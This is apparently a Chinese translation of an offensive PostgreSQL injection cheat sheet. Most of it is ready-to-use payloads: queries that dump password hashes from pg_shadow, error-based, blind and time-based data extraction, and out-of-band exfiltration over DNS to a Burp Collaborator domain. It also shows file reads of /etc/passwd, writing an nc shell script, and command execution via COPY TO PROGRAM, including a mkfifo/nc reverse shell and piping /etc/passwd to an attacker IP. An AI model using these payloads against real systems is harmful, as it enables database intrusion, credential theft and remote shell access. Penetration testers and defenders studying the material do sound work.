跳转至

PostgreSQL 注入 (PostgreSQL Injection)

PostgreSQL SQL 注入是指攻击者利用未经适当清洗的用户输入,在 PostgreSQL 数据库内执行未经授权的 SQL 命令的一种安全漏洞。

摘要 (Summary)

PostgreSQL 注释 (PostgreSQL Comments)

注释类型 注释符号
单行注释 --
多行注释 /**/

PostgreSQL 枚举 (PostgreSQL Enumeration)

枚举描述 SQL 查询
DBMS 版本 SELECT version()
数据库名称 SELECT CURRENT_DATABASE()
数据库架构 (Schema) SELECT CURRENT_SCHEMA()
列出 PostgreSQL 用户 SELECT usename FROM pg_user
列出密码哈希 SELECT usename, passwd FROM pg_shadow
列出数据库管理员 SELECT usename FROM pg_user WHERE usesuper IS TRUE
当前用户 SELECT user;
当前用户 SELECT current_user;
当前会话用户 SELECT session_user;
当前用户用户名 SELECT usename FROM pg_user;
当前用户用户名 SELECT getpgusername();

PostgreSQL 方法论 (PostgreSQL Methodology)

方法描述 SQL 查询
列出架构名 (Schemas) SELECT DISTINCT(schemaname) FROM pg_tables
列出数据库名 SELECT datname FROM pg_database
列出表名 SELECT table_name FROM information_schema.tables
列出特定架构下的表名 SELECT table_name FROM information_schema.tables WHERE table_schema='<架构名>'
列出特定架构下的表名 SELECT tablename FROM pg_tables WHERE schemaname = '<架构名>'
列出特定表的列名 SELECT column_name FROM information_schema.columns WHERE table_name='表名'

基于报错的 PostgreSQL 注入 (PostgreSQL Error Based)

报错载荷名 攻击载荷 (Payload)
CAST 转换 AND 1337=CAST('~'||(SELECT version())::text||'~' AS NUMERIC) -- -
CAST 转换 AND (CAST('~'||(SELECT version())::text||'~' AS NUMERIC)) -- -
CAST 转换 AND CAST((SELECT version()) AS INT)=1337 -- -
CAST 转换 AND (SELECT version())::int=1 -- -
CAST(chr(126)||VERSION()||chr(126) AS NUMERIC)
CAST(chr(126)||(SELECT table_name FROM information_schema.tables LIMIT 1 offset data_offset)||chr(126) AS NUMERIC)--
CAST(chr(126)||(SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset)||chr(126) AS NUMERIC)--
CAST(chr(126)||(SELECT data_column FROM data_table LIMIT 1 offset data_offset)||chr(126) AS NUMERIC)
' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1

PostgreSQL XML 辅助函数 (PostgreSQL XML Helpers)

SELECT query_to_xml('select * from pg_user',true,true,''); -- 以单个 XML 行的形式返回所有结果

上面的 query_to_xml 将指定查询的所有结果作为一个单一结果返回。将其与 基于报错的 PostgreSQL 注入 技术链接,可以在无需担心使用 LIMIT 限制查询为单个结果的情况下外带数据。

SELECT database_to_xml(true,true,''); -- 将当前数据库转储为 XML
SELECT database_to_xmlschema(true,true,''); -- 将当前数据库转储为 XML 架构

请注意,对于上述查询,输出需要在内存中组装。对于较大的数据库,这可能会导致运行缓慢或拒绝服务。

PostgreSQL 盲注 (PostgreSQL Blind)

PostgreSQL 盲注下的 Substring 等价函数 (PostgreSQL Blind With Substring Equivalent)

函数名 语法示例
SUBSTR SUBSTR('foobar', <起始位置>, <长度>)
SUBSTRING SUBSTRING('foobar', <起始位置>, <长度>)
SUBSTRING SUBSTRING('foobar' FROM <起始位置> FOR <长度>)

示例:

' and substr(version(),1,10) = 'PostgreSQL' and '1 -- 结果为 TRUE
' and substr(version(),1,10) = 'PostgreXXX' and '1 -- 结果为 FALSE

基于时间的 PostgreSQL 注入 (PostgreSQL Time Based)

识别基于时间的注入

select 1 from pg_sleep(5)
;(select 1 from pg_sleep(5))
||(select 1 from pg_sleep(5))

基于时间的数据库转储

select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1

基于时间的表转储

select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1

基于时间的列转储

select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1
AND 'RANDSTR'||PG_SLEEP(10)='RANDSTR'
AND [随机数]=(SELECT [随机数] FROM PG_SLEEP([睡眠时间]))
AND [随机数]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[睡眠时间]000000))

PostgreSQL 带外注入 (PostgreSQL Out of Band)

PostgreSQL 中的带外 SQL 注入依赖于使用可以与文件系统或网络交互的函数,例如 COPYlo_export 或来自可以执行网络操作的扩展的函数。其核心思想是利用数据库将数据发送到别处,攻击者可以对其进行监控和拦截。

declare c text;
declare p text;
begin
SELECT into p (此处插入你的子查询);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-域名前缀''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();

PostgreSQL 堆叠查询 (PostgreSQL Stacked Query)

使用分号 ";" 添加另一个查询

SELECT 1;CREATE TABLE NOTSOSECURE (DATA VARCHAR(200));--

PostgreSQL 文件操作 (PostgreSQL File Manipulation)

PostgreSQL 文件读取 (PostgreSQL File Read)

注意:早期版本的 Postgres 不接受 pg_read_filepg_ls_dir 中的绝对路径。更新的版本(自 0fdc8495bff02684142a44ab3bc5b18a8ca1863a 提交起)将允许超级用户或 default_role_read_server_files 组中的用户读取任何文件/文件路径。

  • 使用 pg_read_file, pg_ls_dir

    select pg_ls_dir('./');
    select pg_read_file('PG_VERSION', 0, 200);
    
  • 使用 COPY

    CREATE TABLE temp(t TEXT);
    COPY temp FROM '/etc/passwd';
    SELECT * FROM temp limit 1 offset 0;
    
  • 使用 lo_import

    SELECT lo_import('/etc/passwd'); -- 将从文件创建一个大对象并返回 OID
    SELECT lo_get(16420); -- 使用上述返回的 OID
    SELECT * from pg_largeobject; -- 或者直接获取所有大对象及其数据
    

PostgreSQL 文件写入 (PostgreSQL File Write)

  • 使用 COPY

    CREATE TABLE nc (t TEXT);
    INSERT INTO nc(t) VALUES('nc -lvvp 2346 -e /bin/bash');
    SELECT * FROM nc;
    COPY nc(t) TO '/tmp/nc.sh';
    
  • 使用 COPY (单行写法)

    COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
    
  • 使用 lo_from_bytea, lo_put 以及 lo_export

    SELECT lo_from_bytea(43210, '你的文件数据放在这里'); -- 创建一个 OID 为 43210 且包含数据的大对象
    SELECT lo_put(43210, 20, '一些其他数据'); -- 在偏移量 20 处向大对象追加数据
    SELECT lo_export(43210, '/tmp/testexport'); -- 将数据导出到 /tmp/testexport
    

PostgreSQL 命令执行 (PostgreSQL Command Execution)

使用 COPY TO/FROM PROGRAM

运行 Postgres 9.3 及以上版本的安装具有允许超级用户和具有 'pg_execute_server_program' 权限的用户使用 COPY 通过管道与外部程序进行输入输出的功能。

COPY (SELECT '') TO PROGRAM 'getent hosts $(whoami).[BURP_COLLABORATOR_域名前缀]';
COPY (SELECT '') to PROGRAM 'nslookup [BURP_COLLABORATOR_域名前缀]'
CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f';

使用 libc.so.6

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <攻击者 IP> <攻击者 端口>');

PostgreSQL WAF 绕过 (PostgreSQL WAF Bypass)

引号的替代方案

攻击载荷 (Payload) 技术技巧
SELECT CHR(65)||CHR(66)||CHR(67); 使用 CHR() 生成字符串
SELECT $TAG$This 美元符标记 (适用于 PostgreSQL 8 及以上版本)

PostgreSQL 权限 (PostgreSQL Privileges)

PostgreSQL 列出权限 (PostgreSQL List Privileges)

检索当前用户的所有表级权限,排除 pg_cataloginformation_schema 等系统架构中的表。

SELECT * FROM information_schema.role_table_grants WHERE grantee = current_user AND table_schema NOT IN ('pg_catalog', 'information_schema');

PostgreSQL 超级用户角色 (PostgreSQL Superuser Role)

SHOW is_superuser; 
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;

参考资料 (References)